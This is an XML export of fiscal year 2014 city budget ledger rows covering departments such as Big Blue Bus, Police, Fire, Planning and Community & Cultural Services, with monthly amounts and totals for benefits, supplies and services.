<row _id="10425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25770.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25770.0</total></row>
<row _id="10426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7207.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7207.0</total></row>
<row _id="10427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2336.0</total></row>
<row _id="10428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31285.0</total></row>
<row _id="10429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>94929.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94929.0</total></row>
<row _id="10430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="10431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>645780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>645780.0</total></row>
<row _id="10432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="10433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-250000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-225000.0</total></row>
<row _id="10434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2961.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>20</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2981.0</total></row>
<row _id="10435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15145.0</july><august>0</august><september>0</september><october>0</october><november>-202.0</november><december>217</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15160.0</total></row>
<row _id="10436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66378.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1090</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67468.0</total></row>
<row _id="10437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>134</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14498.0</total></row>
<row _id="10438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>463</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>463.0</total></row>
<row _id="10439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16480.0</total></row>
<row _id="10440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8542.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8542.0</total></row>
<row _id="10441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>601.0</total></row>
<row _id="10442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="10443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8872.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8872.0</total></row>
<row _id="10444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1146.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1146.0</total></row>
<row _id="10445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3693.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>24</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3717.0</total></row>
<row _id="10446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11035.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>154</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11189.0</total></row>
<row _id="10447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2188.0</total></row>
<row _id="10448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="10449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14812.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>238</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15050.0</total></row>
<row _id="10450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2496.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2496.0</total></row>
<row _id="10451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3379.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3379.0</total></row>
<row _id="10452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1647.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="10453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6036.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6061.0</total></row>
<row _id="10454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8368.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8447.0</total></row>
<row _id="10455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>58232.0</july><august>0</august><september>0</september><october>0</october><november>-155.0</november><december>1037</december><january>196.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59310.0</total></row>
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<row _id="10457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>50217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>2904</december><january>1227.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54348.0</total></row>
<row _id="10458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>334.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9934.0</total></row>
<row _id="10459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15957.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>658.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16615.0</total></row>
<row _id="10460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3692.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>491</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4183.0</total></row>
<row _id="10461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>309.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309.0</total></row>
<row _id="10462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4477.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>67</december><january>21.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4565.0</total></row>
<row _id="10463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>164.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>164.0</total></row>
<row _id="10464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11504.0</total></row>
<row _id="10465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="10466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9885.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9885.0</total></row>
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<row _id="10468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562131.0</object><object_description>CIVIC CENTER MED-YOUTH PEER ME</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52888.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52888.0</total></row>
<row _id="10469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563121.0</object><object_description>CARE MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>207050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>207050.0</total></row>
<row _id="10470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565231.0</object><object_description>GENERAL COMMUNITY LEGAL SRVCES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>479219.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>479219.0</total></row>
<row _id="10471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="10472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="10473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7688.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7688.0</total></row>
<row _id="10474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1784056.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1784056.0</total></row>
